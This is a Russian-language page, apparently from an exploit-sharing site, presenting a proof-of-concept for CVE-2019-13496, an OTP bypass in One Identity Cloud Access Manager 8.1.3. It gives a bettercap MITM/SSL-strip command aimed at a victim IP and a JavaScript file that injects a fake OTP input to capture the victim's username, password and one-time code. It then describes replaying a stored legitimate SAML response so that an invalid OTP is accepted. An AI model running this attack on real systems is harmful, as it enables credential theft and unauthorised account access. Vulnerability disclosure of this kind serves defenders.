Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!
CVE-2019-13496 — Proof-of-concept эксплойт, демонстрирующий обход OTP в One Identity Cloud Access Manager 8.1.3 через MITM/SSL-strip, повторное воспроизведение SAML-ответов и внедрение JavaScript для перехвата учётных данных. | Kitploit
Proof-of-concept эксплойт, демонстрирующий обход OTP в One Identity Cloud Access Manager 8.1.3 через MITM/SSL-strip, повторное воспроизведение SAML-ответов и внедрение JavaScript для перехвата учётных данных.
Чтобы использовать уязвимость обхода OTP, атакующий применяет ранее обнаруженную уязвимость MITM/SSL-Strip , . Атакующий проводит MITM/SSL strip атаку, с помощью которой он может внедрить текстовое поле OTP в веб-страницу, отдаваемую жертве. Жертва сообщает своё имя пользователя, пароль и OTP, сгенерированный приложением defender (принадлежит тому же вендору). Атакующий перехватывает имя пользователя, пароль и OTP, а затем пытается получить доступ к приложению через легитимный рабочий процесс. После ввода украденных имени пользователя и пароля атакующий вводит украденный OTP на следующей странице. При отправке запроса на странице OTP подписанный SAML-ответ сохраняется. Даже если у атакующего нет доступа к приложению, генерирующему OTP, он может вводить недействительный OTP для последующих транзакций, и пока приложение отклоняет OTP, атакующий может заменить неудачный SAML-ответ ранее полученным легитимным SAML-ответом; приложение не выполняет проверку целостности и впускает атакующего.
(1) Первый шаг атаки — проведение MITM/SSL-Strip, который описан в : CVE-2019-13498 , а также указан ниже :
Используемая команда bettercap :
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js
Здесь 192.168.1.103 — это IP-адрес жертвы. Если мы его не знаем, мы можем использовать bettercap, чтобы перехватывать и изменять содержимое всей локальной сети (общей сети атакующего и жертвы).
Содержимое inject_js.js приведено ниже
root@kitploit:~
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Теперь, когда жертва заходит на продукт (Cloud access manager), из-за отравления кэша и SSL strip (Bettercap) на странице, отдаваемой жертве, будет внедрено текстовое поле OTP с помощью внедрённого javascript-фрагмента
Поскольку соединение понижается до http через ssl-strip, теперь весь трафик виден атакующему. Таким образом, мы можем перехватить трафик и увидеть имя пользователя, пароль и OTP, отправленные жертвой.
Теперь предположим, что мы один раз вошли в систему с сохранёнными учётными данными и сохранили все валидные запросы и ответы.
В этом разделе мы узнаем, как можно использовать ранее сохранённый OTP-ответ, чтобы обойти проверку OTP, которая позволит нам войти в приложение.
Давайте введём недействительный OTP, как показано ниже :
Ниже показан ответ, который не проходит проверку OTP.
Замените неудачный ответ ранее сохранённым легитимным ответом.
Ниже показан SAML-ответ, который не проходит проверку OTP.
Замените неудачный ответ ранее сохранённым легитимным SAML-ответом.
Бинго, приложение впускает нас. В идеале оно должно было выполнить проверку целостности и учесть, что срок действия OTP истёк.